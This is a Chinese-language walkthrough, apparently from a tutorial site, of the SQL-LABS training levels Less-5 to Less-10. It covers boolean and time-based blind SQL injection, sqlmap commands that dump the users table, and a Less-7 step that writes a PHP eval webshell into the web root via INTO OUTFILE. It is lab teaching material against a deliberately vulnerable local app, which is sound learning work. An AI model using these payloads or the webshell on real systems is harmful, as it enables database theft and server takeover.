当前位置: 首页 > news >正文

SQL-LABS Less5-Less10 盲注实战指南

SQL-LABS Less-5 到 Less-10 盲注实战指南


📋 目录

  1. 盲注基础知识
  2. 环境准备
  3. Less-5:布尔盲注入门
  4. Less-6:双引号布尔盲注
  5. Less-7:导出文件注入
  6. Less-8:时间盲注基础
  7. Less-9:时间盲注进阶
  8. Less-10:双引号时间盲注
  9. 自动化工具使用
  10. 总结与经验

一、盲注基础知识

什么是盲注?

盲注(Blind SQL Injection)是指在 SQL 注入攻击中,页面不会直接回显数据库内容,只能通过页面的不同反应来判断注入是否成功。

盲注的两种类型

类型判断依据速度难度
布尔盲注页面内容变化(True/False)中等
时间盲注页面响应时间变化较高

为什么需要盲注?

在真实环境中,很多网站:

  • ❌ 不显示 SQL 错误信息
  • ❌ 不回显查询结果
  • ✅ 只显示"登录成功/失败"、"存在/不存在"等简单提示

这时候就必须使用盲注技术。


二、环境准备

1. 启动 SQL-LABS

确保 PHPStudy/XAMPP 已启动,访问:

http://localhost/sqli-labs/

2. 工具准备

  • ✅ 浏览器(Chrome/Firefox)
  • ✅ Burp Suite(可选,用于拦截请求)
  • ✅ SQLMap(自动化工具)
  • ✅ 笔记本(记录payload和结果)

3. 核心 SQL 函数复习

函数作用示例
length()获取字符串长度length(database())
substr()截取字符串substr(database(),1,1)第1个字符
ascii()获取字符ASCII码ascii(substr(database(),1,1))
if()条件判断if(1=1, sleep(5), 0)
sleep()延迟执行sleep(5)延迟5秒
mid()同 substrmid(database(),1,1)

三、Less-5:布尔盲注入门

关卡信息

  • URLhttp://localhost/sqli-labs/Less-5/?id=1
  • 注入点:GET 参数id
  • 注入类型:单引号字符型布尔盲注
  • 页面特征:正确时显示 “You are in…”,错误时无输出

步骤 1:判断注入点

测试 Payload:

?id=1'

现象:页面无任何输出(说明SQL语法错误)

测试闭合:

?id=1' --+ ?id=1' # ?id=1' and '1'='1

结论:单引号闭合,存在注入点。

步骤 2:判断数据库名长度

Payload 模板:

?id=1' and length(database())>5 --+

测试过程:

?id=1' and length(database())>10 --+ # 无输出(False,长度≤10) ?id=1' and length(database())>5 --+ # 有输出(True,长度>5) ?id=1' and length(database())>8 --+ # 无输出(False,长度≤8) ?id=1' and length(database())=8 --+ # 有输出(True,长度=8)

结论:数据库名长度为8

步骤 3:逐字符猜解数据库名

Payload 模板:

?id=1' and ascii(substr(database(),1,1))>100 --+

猜解第 1 个字符:

?id=1' and ascii(substr(database(),1,1))>100 --+ # 有输出(ASCII > 100) ?id=1' and ascii(substr(database(),1,1))>110 --+ # 有输出(ASCII > 110) ?id=1' and ascii(substr(database(),1,1))>115 --+ # 无输出(ASCII ≤ 115) ?id=1' and ascii(substr(database(),1,1))=115 --+ # 有输出(ASCII = 115)

结论:第 1 个字符 ASCII 码是115,对应字母s

重复步骤猜解剩余字符,最终得到数据库名:security

步骤 4:猜解表名

先猜解表名数量:

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

猜解第一个表名长度:

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

猜解第一个表名的第一个字符:

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

完整表名列表:

  • emails
  • referers
  • uagents
  • users

步骤 5:猜解列名和数据

猜解 users 表的列名:

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+

最终获取数据:

username: admin password: password

四、Less-6:双引号布尔盲注

关卡信息

  • URLhttp://localhost/sqli-labs/Less-6/?id=1
  • 注入类型:双引号字符型布尔盲注
  • 与 Less-5 的区别:闭合方式从单引号变成双引号

核心区别

Less-5 闭合:

SELECT*FROMusersWHEREid='$id'LIMIT0,1

Less-6 闭合:

SELECT*FROMusersWHEREid="$id"LIMIT0,1

测试闭合方式

?id=1" # 错误 ?id=1" --+ # 正确 ?id=1" and "1"="1 # 正确

Payload 调整

只需要把 Less-5 的所有 Payload 中的单引号换成双引号:

# Less-5 ?id=1' and length(database())=8 --+ # Less-6(双引号) ?id=1" and length(database())=8 --+

其他步骤完全相同


五、Less-7:导出文件注入

关卡信息

  • URLhttp://localhost/sqli-labs/Less-7/?id=1
  • 注入类型:导出文件注入(INTO OUTFILE)
  • 闭合方式'))双括号单引号

核心知识:INTO OUTFILE

作用:将查询结果写入文件。

语法:

SELECT'content'INTOOUTFILE'/path/to/file.txt'

利用条件:

  1. ✅ MySQL 用户有 FILE 权限
  2. ✅ 知道网站物理路径
  3. ✅ 目标目录可写

步骤 1:判断闭合方式

?id=1' # 错误 ?id=1') # 错误 ?id=1')) # 错误 ?id=1')) --+ # 正确!

步骤 2:查看当前路径

?id=1')) and 1=2 union select 1,@@datadir,3 --+

步骤 3:写入一句话木马

Payload:

?id=1')) union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'C:/phpStudy/WWW/sqli-labs/shell.php' --+

注意事项:

  • Windows 路径用/\\
  • 文件名不能已存在
  • 路径必须可写

步骤 4:连接木马

访问:

http://localhost/sqli-labs/shell.php

用菜刀/蚁剑连接,密码:cmd


六、Less-8:时间盲注基础

关卡信息

  • URLhttp://localhost/sqli-labs/Less-8/?id=1
  • 注入类型:单引号时间盲注
  • 页面特征:无论输入什么,都显示 “You are in…”

时间盲注原理

页面没有任何变化,只能通过响应时间判断:

  • 条件为真 → 延迟 5 秒
  • 条件为假 → 立即返回

步骤 1:确认时间盲注

Payload:

?id=1' and sleep(5) --+

现象:页面延迟约 5 秒后返回。

步骤 2:判断数据库名长度

Payload 模板:

?id=1' and if(length(database())=8, sleep(5), 0) --+

测试过程:

?id=1' and if(length(database())=10, sleep(5), 0) --+ # 立即返回(False) ?id=1' and if(length(database())=8, sleep(5), 0) --+ # 延迟5秒(True)

结论:数据库名长度为8

步骤 3:逐字符猜解数据库名

Payload 模板:

?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+

猜解第 1 个字符:

?id=1' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+ # 延迟5秒 ?id=1' and if(ascii(substr(database(),1,1))>110, sleep(5), 0) --+ # 延迟5秒 ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+ # 延迟5秒(确认)

重复步骤猜解剩余字符,得到:security

注意事项

⚠️时间盲注很慢

  • 每个字符需要多次请求(二分法约 7 次)
  • 8 个字符 = 至少 56 次请求
  • 每次延迟 5 秒 = 总共需要280 秒(约 5 分钟)

💡优化方法

  • 使用二分法减少请求次数
  • 延迟时间改为 2-3 秒
  • 使用自动化工具(SQLMap)

七、Less-9:时间盲注进阶

关卡信息

  • URLhttp://localhost/sqli-labs/Less-9/?id=1
  • 注入类型:单引号时间盲注
  • 与 Less-8 的区别:无论输入什么都返回相同内容

核心特点

更加"盲"

  • Less-8:错误时有提示
  • Less-9:任何情况都显示 “You are in…”

解题方法

完全依赖时间判断,步骤与 Less-8 一致:

# 判断长度 ?id=1' and if(length(database())=8, sleep(3), 0) --+ # 猜解字符 ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 0) --+

八、Less-10:双引号时间盲注

关卡信息

  • URLhttp://localhost/sqli-labs/Less-10/?id=1
  • 注入类型:双引号时间盲注
  • 闭合方式"

解题方法

把 Less-8/Less-9 的单引号改成双引号:

# Less-8/9(单引号) ?id=1' and if(length(database())=8, sleep(3), 0) --+ # Less-10(双引号) ?id=1" and if(length(database())=8, sleep(3), 0) --+

九、自动化工具使用

SQLMap 基础用法

Less-5(布尔盲注):

sqlmap-u"http://localhost/sqli-labs/Less-5/?id=1"--batch--dbs

Less-8(时间盲注):

sqlmap-u"http://localhost/sqli-labs/Less-8/?id=1"--batch--technique=T--dbs

常用参数:

--dbs# 列出所有数据库--current-db# 当前数据库名-Dsecurity--tables# 列出 security 库的表-Dsecurity-Tusers--columns# 列出 users 表的列-Dsecurity-Tusers--dump# 导出 users 表数据--technique=B# 只使用布尔盲注--technique=T# 只使用时间盲注

十、总结与经验

核心知识点

  1. 布尔盲注- 通过页面内容变化判断(快)
  2. 时间盲注- 通过响应时间判断(慢但通用)
  3. 闭合方式- 单引号、双引号、括号组合
  4. 核心函数- length()、substr()、ascii()、if()、sleep()

关卡对照表

关卡注入类型闭合方式难度关键点
Less-5布尔盲注'⭐⭐⭐基础布尔盲注
Less-6布尔盲注"⭐⭐⭐双引号闭合
Less-7文件导出'))⭐⭐⭐⭐INTO OUTFILE
Less-8时间盲注'⭐⭐⭐⭐基础时间盲注
Less-9时间盲注'⭐⭐⭐⭐完全盲注
Less-10时间盲注"⭐⭐⭐⭐双引号时间盲注
http://www.jsqmd.com/news/1237397/

相关文章:

  • 马鞍山GEO找哪家比较好?2026本地靠谱推荐与服务商分级实测盘点 - 子柔传媒
  • 深圳设备搬运公司福田区百科:大型机械搬运+无尘车间搬迁流程步骤,专业团队操作要点 - szxybj
  • DeepSeek本地一键部署:零基础快速搭建私有AI助手
  • 粉末包装机厂家哪家靠谱?广州恒尔十五年专注沉淀打造卓越品质 - 品牌速递
  • 分享一套锋哥原创的基于PyTorch的花卉图像识别系统(深度学习+PyQt6+ResNet18+ImageNet+迁移学习)
  • 2026年上海升学规划服务GEO服务商代理加盟选型推荐丨上海GEO代理加盟哪家靠谱? - 企业新闻快传
  • TMS320x2806x SCI自动波特率检测原理、配置与实战指南
  • 别再盲目试用了!7款主流AI搜索工具横向测评(含RAG延迟、幻觉率、中文长文档召回F1值等12项硬指标)
  • 2026Top全球EMBA中立测评:民营企业家择校指南 - 品牌2026推荐
  • Universal x86 Tuning Utility终极指南:完全掌控你的硬件性能
  • 冷战时期防空导弹技术演进与战略影响
  • C++实现独立事件概率计算:从数学原理到工程实践
  • 颠覆传统励志语录推送成功案例,编写程序,每日推送知名人物的失败经历,提炼失败中的经验,作为当天创新试错的底气。
  • Windows上的安卓应用革命:APK安装器让你的电脑秒变安卓设备
  • [Android] 花掉马斯克的钱19.2 -体验全球首付的一天
  • 《苏州贝特吹气式液位计:破解复杂工况液位测量难题的金钥匙》 - 米諾
  • 长沙实地探店测评|伴西西猫舍犬舍双店实测,湘城梅雨季购宠避雷指南 - 同城宠物优选基地
  • EDMA3高级传输模式:乒乓缓冲与传输链实战解析
  • 义乌实地探店测评|伴西西猫舍犬舍深度探访,盆地梅雨季购宠避雷指南 - 同城宠物优选基地
  • NVIDIA RTX 5060/5060 Ti显卡深度评测:Blackwell架构与AI性能解析
  • 如何快速提升英语打字速度:Qwerty Learner完整使用指南
  • 权威发布:2026年7月劳力士无锡官方热线电话及售后服务网点地址最新汇总 - 劳力士服务中心
  • 3分钟快速搭建Mindustry服务器:完整联机教程指南
  • 【紧急更新】AI工具小白入门组合:ChatGPT-4.5发布后,这3款工具已失效,立即切换这5个替代方案
  • 如何设置多组别投票,实现分赛道同步开展评选
  • 如何快速掌握可视化编程:面向初学者的5个简单步骤
  • 狂揽 2.7万 Star,港大开源了一款 AI 个性化辅导私教 神器!
  • 2026河南高考一分一段表解析与志愿填报指南
  • 小众高薪稳就业!等保测评师完整学习+岗位工作全解析
  • Blender新手必看:免费资源完全指南,快速打造专业3D作品